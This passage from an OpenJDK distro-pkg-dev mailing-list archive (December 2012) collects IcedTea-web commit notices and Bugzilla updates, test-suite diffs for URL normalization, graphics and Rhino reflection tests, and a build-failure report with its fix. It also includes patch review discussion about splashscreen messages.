java.io.UnsupportedEncodingException; import java.net.MalformedURLException; +import java.net.URISyntaxException; import java.net.URL; import org.junit.Assert; import org.junit.Test; @@ -61,22 +62,23 @@ } } - private static URL normalizeUrl(URL uRL) throws MalformedURLException, UnsupportedEncodingException { + private static URL normalizeUrl(URL uRL) throws MalformedURLException, UnsupportedEncodingException, URISyntaxException { return ResourceTracker.normalizeUrl(uRL, false); } - public static final int CHANGE_BORDER = 7; + public static final int CHANGE_BORDER = 6; public static URL[] getUrls() throws MalformedURLException { URL[] u = { /*constant*/ null, - new URL("http://localhost:44321/Spaces%20Can%20Be%20Everyw%2Fhere1.jnlp"), new URL("file:///home/jvanek/Desktop/icedtea-web/tests.build/jnlp_test_server/Spaces%20can%20be%20everywhere2.jnlp"), - new URL("http://localhost/Spaces+Can+Be+Everywhere1.jnlp"), new URL("http://localhost:44321/SpacesCanBeEverywhere1.jnlp"), new URL("http:///SpacesCanBeEverywhere1.jnlp"), new URL("file://localhost/home/jvanek/Desktop/icedtea-web/tests.build/jnlp_test_server/Spaces can be everywhere2.jnlp"), + new URL("http://localhost:44321/testpage.jnlp?applicationID=25"), /*changing*/ + new URL("http://localhost:44321/Spaces%20Can%20Be%20Everyw%2Fhere1.jnlp"), + new URL("http://localhost/Spaces+Can+Be+Everywhere1.jnlp"), new URL("http://localhost/SpacesC anBeEverywhere1.jnlp?a=5&b=10#df"), new URL("http:///oook.jnlp?a=5&b=ahoj ???? dd#df"), new URL("http://localhost/Spaces?????????????????????? can !@^*(){}[].jnlp?a=5&ahoj ???? dd#df"), @@ -85,7 +87,7 @@ return u; } - public static URL[] getNormalizedUrls() throws MalformedURLException, UnsupportedEncodingException { + public static URL[] getNormalizedUrls() throws MalformedURLException, UnsupportedEncodingException, URISyntaxException { URL[] u = getUrls(); URL[] n = new URL[u.length]; From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 12:52:25 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 20:52:25 +0000 Subject: [Bug 909] The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails. In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=909 --- Comment #5 from hg commits --- details: http://icedtea.classpath.org//hg/icedtea-web?cmd=changeset;node=4d294d8ea881 author: Saad Mohammad date: Thu Dec 20 15:51:45 2012 -0500 PR909: Unit test fix -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/23487e74/attachment.html From smohammad at redhat.com Thu Dec 20 13:11:19 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Thu, 20 Dec 2012 16:11:19 -0500 Subject: [RFC][icedtea-web]: Fix PR909 - The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails In-Reply-To: <50D0EA71.6000902@redhat.com> References: <85828911.69079417.1347544752233.JavaMail.root@redhat.com> <50570F99.1060506@redhat.com> <50637FEB.6090709@redhat.com> <50865DAB.5010904@redhat.com> <50D0EA71.6000902@redhat.com> Message-ID: <50D37EF7.3090500@redhat.com> Hi Jiri, Thanks for approving over IRC yesterday. Both patches have been pushed. Fix: Unit Test: -- Cheers, Saad Mohammad From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 13:41:26 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 21:41:26 +0000 Subject: [Bug 909] The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails. In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=909 Saad Mohammad changed: What |Removed |Added ---------------------------------------------------------------------------- Status|ASSIGNED |RESOLVED Resolution|--- |FIXED -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/1074a0f1/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 13:41:29 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 21:41:29 +0000 Subject: [Bug 1156] Fatal: Read Error: Could not read or parse the JNLP file. In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1156 Bug 1156 depends on bug 909, which changed state. Bug 909 Summary: The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails. http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=909 What |Removed |Added ---------------------------------------------------------------------------- Status|ASSIGNED |RESOLVED Resolution|--- |FIXED -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/dda5350b/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 14:14:08 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 22:14:08 +0000 Subject: [Bug 1142] Repeated prompts for approval are displayed for certificates that have been previously approved during current runtime In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1142 Saad Mohammad changed: What |Removed |Added ---------------------------------------------------------------------------- Assignee|smohammad at redhat.com |adomurad at redhat.com -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/cfd64258/attachment.html From ptisnovs at icedtea.classpath.org Fri Dec 21 01:32:45 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 21 Dec 2012 09:32:45 +0000 Subject: /hg/gfx-test: Added ten new tests to the test suite src/org/gfxt... Message-ID: changeset c71e4eb14bec in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=c71e4eb14bec author: Pavel Tisnovsky date: Fri Dec 21 10:35:45 2012 +0100 Added ten new tests to the test suite src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java | 150 ++++++++++++++++ 2 files changed, 155 insertions(+), 0 deletions(-) diffs (172 lines): diff -r 5f978c925a36 -r c71e4eb14bec ChangeLog --- a/ChangeLog Thu Dec 20 13:12:54 2012 +0100 +++ b/ChangeLog Fri Dec 21 10:35:45 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-21 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: + Added ten new tests to this test suite. + 2012-12-20 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltBasicTests.java: diff -r 5f978c925a36 -r c71e4eb14bec src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Thu Dec 20 13:12:54 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Fri Dec 21 10:35:45 2012 +0100 @@ -267,6 +267,156 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundGreenAlpha000(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.green, 0.0f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundGreenAlpha025(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.green, 0.25f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundGreenAlpha050(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.green, 0.5f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundGreenAlpha075(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.green, 0.75f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundGreenAlpha100(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.green, 1.00f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlueAlpha000(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.blue, 0.0f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlueAlpha025(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.blue, 0.25f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlueAlpha050(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.blue, 0.5f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlueAlpha075(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.blue, 0.75f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlueAlpha100(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.blue, 1.00f); + } + + /** * Entry point to the test suite. * * @param args not used in this case From ptisnovs at icedtea.classpath.org Fri Dec 21 02:18:18 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 21 Dec 2012 10:18:18 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset f2a6c496bf93 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=f2a6c496bf93 author: Pavel Tisnovsky date: Fri Dec 21 11:21:05 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptEngineManagerClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptEngineManagerClassTest.java | 75 ++++++++++++++++++++ 2 files changed, 80 insertions(+), 0 deletions(-) diffs (111 lines): diff -r 257a62c6cbc5 -r f2a6c496bf93 ChangeLog --- a/ChangeLog Thu Dec 20 13:16:30 2012 +0100 +++ b/ChangeLog Fri Dec 21 11:21:05 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-21 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptEngineManagerClassTest.java: + Added three new tests into this test case. + 2012-12-20 Pavel Tisnovsky * src/org/RhinoTests/ScriptEngineClassTest.java: diff -r 257a62c6cbc5 -r f2a6c496bf93 src/org/RhinoTests/ScriptEngineManagerClassTest.java --- a/src/org/RhinoTests/ScriptEngineManagerClassTest.java Thu Dec 20 13:16:30 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineManagerClassTest.java Fri Dec 21 11:21:05 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -384,6 +385,28 @@ } /** + * Test for method javax.script.ScriptEngineManager.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptEngineManagerClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptEngineManager.getClass().getMethods() */ protected void testGetMethods() { @@ -510,6 +533,58 @@ } /** + * Test for method javax.script.ScriptEngineManager.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineManagerClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptEngineManager.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineManagerClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptEngineManager */ @SuppressWarnings("cast") From jvanek at icedtea.classpath.org Fri Dec 21 04:17:50 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Fri, 21 Dec 2012 12:17:50 +0000 Subject: /hg/icedtea-web: Forgotten condition for AviationWeather first run Message-ID: changeset a24c48429ff1 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=a24c48429ff1 author: Jiri Vanek date: Fri Dec 21 13:19:14 2012 +0100 Forgotten condition for AviationWeather first run diffstat: ChangeLog | 7 +++++++ tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java | 10 +++++++++- 2 files changed, 16 insertions(+), 1 deletions(-) diffs (34 lines): diff -r 4d294d8ea881 -r a24c48429ff1 ChangeLog --- a/ChangeLog Thu Dec 20 15:51:45 2012 -0500 +++ b/ChangeLog Fri Dec 21 13:19:14 2012 +0100 @@ -1,3 +1,10 @@ +2012-12-21 Jiri Vanek + + Forgotten condition for AviationWeather first run: + * tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java: + (AviationWeather) added condition for first run when creation of + FileManager is written to stderr. + 2012-12-20 Saad Mohammad * tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java: diff -r 4d294d8ea881 -r a24c48429ff1 tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java --- a/tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java Thu Dec 20 15:51:45 2012 -0500 +++ b/tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java Fri Dec 21 13:19:14 2012 +0100 @@ -188,7 +188,15 @@ } } - public static class AviationWeather extends NoOutputs { + public static class AviationWeather extends StringBasedURL { + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.length() == 0 || (pr.stderr.contains("Cannot read File Manager history data file,") + && pr.stderr.contains("FileMgr will be initialized with default options"))); + + } public AviationWeather() { super("http://aviationweather.gov/static/adds/java/fpt/fpt.jnlp"); From gnu.andrew at redhat.com Fri Dec 21 04:45:05 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Fri, 21 Dec 2012 07:45:05 -0500 (EST) Subject: PING: PR1176: Added --with-cacao-src-dir option In-Reply-To: Message-ID: <1980055175.79563.1356093905202.JavaMail.root@redhat.com> ----- Original Message ----- > On Sat, Dec 15, 2012 at 6:31 PM, Stefan Ring > wrote: > >> Further to that, the one in the commit message is wrong as Stefan > >> didn't write this: > >> > >> 2009-10-01 Robert Schuster > >> > >> * configure.ac: Added --with-cacao-src-dir option. > >> * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. > >> * Makefile.am: Copy Cacao sources when > >> USE_ALT_CACAO_SRC_DIR is used. > > > > What do you want me to do exactly? Copy Robert's old changelog > > entry > > over? It doesn't really fit, as the identifier got later renamed to > > IT_WITH_CACAO_SRC_DIR after its original inclusion in icedtea6. > > Andrew, better? > Is what better? > -> > http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021216.html > http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021217.html > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From stefan at complang.tuwien.ac.at Fri Dec 21 04:57:56 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Fri, 21 Dec 2012 13:57:56 +0100 Subject: PING: PR1176: Added --with-cacao-src-dir option In-Reply-To: <1980055175.79563.1356093905202.JavaMail.root@redhat.com> References: <1980055175.79563.1356093905202.JavaMail.root@redhat.com> Message-ID: >> Andrew, better? >> > > Is what better? > >> -> >> http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021216.html >> http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021217.html The above links. Probably your mail reader has folded them away... From jvanek at redhat.com Fri Dec 21 05:18:35 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Fri, 21 Dec 2012 14:18:35 +0100 Subject: [rfc][icedtea-web] minor fix for possible NPE (non fatal) during splashscreen creation Message-ID: <50D461AB.9060500@redhat.com> And added more verbose messages for output. Ok to head? 2012-12-21 Jiri Vanek Minor fix for possible NPE (non fatal) during splashscreen creation * netx/net/sourceforge/jnlp/resources/Messages.properties: * netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties: Added messages for user (SPLASHdefaultHomepage) (SPLASHerrorInInformation)(SPLASHmissingInformation). * netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java (createFromJNLP) catch of NPE replaced by conditions with proper messa J. btw: this was cought by remote tests :) -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedNonCriticalNPEinSplash.patch Type: text/x-patch Size: 4175 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/b482cfe5/fixedNonCriticalNPEinSplash.patch From bugzilla-daemon at icedtea.classpath.org Fri Dec 21 06:39:13 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Fri, 21 Dec 2012 14:39:13 +0000 Subject: [Bug 1157] icedtea-web locks up browser and future applets after first visit a page with missing code applet class. In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1157 --- Comment #2 from Adam Domurad --- Confirmed, been looking into it, it's some deadlock condition between the Java<->C++ side. Still demystifying it though. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121221/e62d8fd4/attachment.html From aph at redhat.com Fri Dec 21 07:34:58 2012 From: aph at redhat.com (Andrew Haley) Date: Fri, 21 Dec 2012 15:34:58 +0000 Subject: Building CACAO with gcj FTBFS In-Reply-To: <50D3216C.5080407@redhat.com> References: <50D3216C.5080407@redhat.com> Message-ID: <50D481A2.3060901@redhat.com> On 12/20/2012 02:32 PM, Andrew Haley wrote: > With gcj as the build JVM: > > ./configure --enable-cacao --with-jdk-home=/etc/alternatives/java_sdk > > ...eventually > > # Running javac: > /home/aph/iced-arm/cacao/icedtea6/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=1024 -J-client -J-Xmx750m -J-Xms128m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -g -source 1.5 -target 5 -encoding ascii -Xbootclasspath:/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes -sourcepath /home/aph/iced-arm/cacao/icedtea6/generated.build:../../../src/solaris/classes:../../../src/share/classes -bootclasspath /home/aph/iced-arm/cacao/icedtea6/bootstrap/jdk1.6.0/jre/lib/rt.jar::/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes -d /home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes @/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/tmp/sun/java.security/.classes.list > ---------- > 1. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1957) > return impl.getPrivateKeyUsageExtension(); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from PrivateKeyUsageExtension to Extension > ---------- > 2. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1959) > return impl.getSubjectAlternativeNameExtension(); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from SubjectAlternativeNameExtension to Extension > ---------- > 3. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1961) > return impl.getNameConstraintsExtension(); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from NameConstraintsExtension to Extension > ---------- > 4. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1963) > return impl.getCertificatePoliciesExtension(); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from CertificatePoliciesExtension to Extension > ---------- > 5. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1965) > return impl.getExtendedKeyUsageExtension(); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from ExtendedKeyUsageExtension to Extension > ---------- > 6. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1979) > return new PrivateKeyUsageExtension(FALSE, encoded); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from PrivateKeyUsageExtension to Extension > ---------- > 7. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1984) > return new SubjectAlternativeNameExtension(FALSE, encoded); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from SubjectAlternativeNameExtension to Extension > ---------- > 8. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1986) > return new NameConstraintsExtension(FALSE, encoded); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from NameConstraintsExtension to Extension > ---------- > 9. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1988) > return new CertificatePoliciesExtension(FALSE, encoded); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from CertificatePoliciesExtension to Extension > ---------- > 10. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1990) > return new ExtendedKeyUsageExtension(FALSE, encoded); > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Type mismatch: cannot convert from ExtendedKeyUsageExtension to Extension > ---------- > 10 problems (10 errors)make[6]: *** [.compile.classlist] Error 255 > make[6]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make/java/security' > make[5]: *** [all] Error 1 > make[5]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make/java' > make[4]: *** [all] Error 1 > make[4]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make' > make[3]: *** [jdk-build] Error 2 > make[3]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' > make[2]: *** [build_product_image] Error 2 > make[2]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' > make[1]: *** [jdk_only] Error 2 > make[1]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' > make: *** [stamps/icedtea-ecj.stamp] Error 2 Fixed thusly, FYI: --- X509CertSelector.java~ 2012-10-26 14:25:52.000000000 -0400 +++ X509CertSelector.java 2012-12-21 10:26:14.613148147 -0500 @@ -1930,7 +1930,7 @@ } /** - * Returns an Extension object given any X509Certificate and extension oid. + * Returns an sun.security.x509.Extension object given any X509Certificate and extension oid. * Throw an IOException if the extension byte value is * malformed. * @@ -1942,13 +1942,13 @@ * index 2 - NameConstraintsExtension * index 3 - CertificatePoliciesExtension * index 4 - ExtendedKeyUsageExtension - * @return an Extension object whose real type is as specified + * @return an sun.security.x509.Extension object whose real type is as specified * by the extension oid. - * @throws IOException if cannot construct the Extension + * @throws IOException if cannot construct the sun.security.x509.Extension * object with the extension encoding retrieved from the passed in * X509Certificate. */ - private static Extension getExtensionObject(X509Certificate cert, int extId) + private static sun.security.x509.Extension getExtensionObject(X509Certificate cert, int extId) throws IOException { if (cert instanceof X509CertImpl) { X509CertImpl impl = (X509CertImpl)cert; From adomurad at redhat.com Fri Dec 21 07:56:24 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 21 Dec 2012 10:56:24 -0500 Subject: [rfc][icedtea-web] minor fix for possible NPE (non fatal) during splashscreen creation In-Reply-To: <50D461AB.9060500@redhat.com> References: <50D461AB.9060500@redhat.com> Message-ID: <50D486A8.7030101@redhat.com> On 12/21/2012 08:18 AM, Jiri Vanek wrote: > And added more verbose messages for output. > Ok to head? > > > 2012-12-21 Jiri Vanek > > Minor fix for possible NPE (non fatal) during splashscreen creation > * netx/net/sourceforge/jnlp/resources/Messages.properties: > * netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties: > Added messages for user (SPLASHdefaultHomepage) > (SPLASHerrorInInformation)(SPLASHmissingInformation). > * > netx/net/sourceforge/jnlp/splashscreen/parts/InformationElement.java > (createFromJNLP) catch of NPE replaced by conditions with proper > messa > > J. > > btw: this was cought by remote tests :) > > diff -r a24c48429ff1 netx/net/sourceforge/jnlp/resources/Messages.properties > --- a/netx/net/sourceforge/jnlp/resources/Messages.properties Fri Dec 21 13:19:14 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/resources/Messages.properties Fri Dec 21 14:12:08 2012 +0100 > @@ -470,3 +470,6 @@ > SPLASHcfl = Can't follow link to > SPLASHvendorsInfo = Information from vendor of your application > SPLASHanotherInfo = Another available info > +SPLASHdefaultHomepage = Unspecified homepage, verify source rather Maybe better than 'verify source rather' is 'verify the source of the 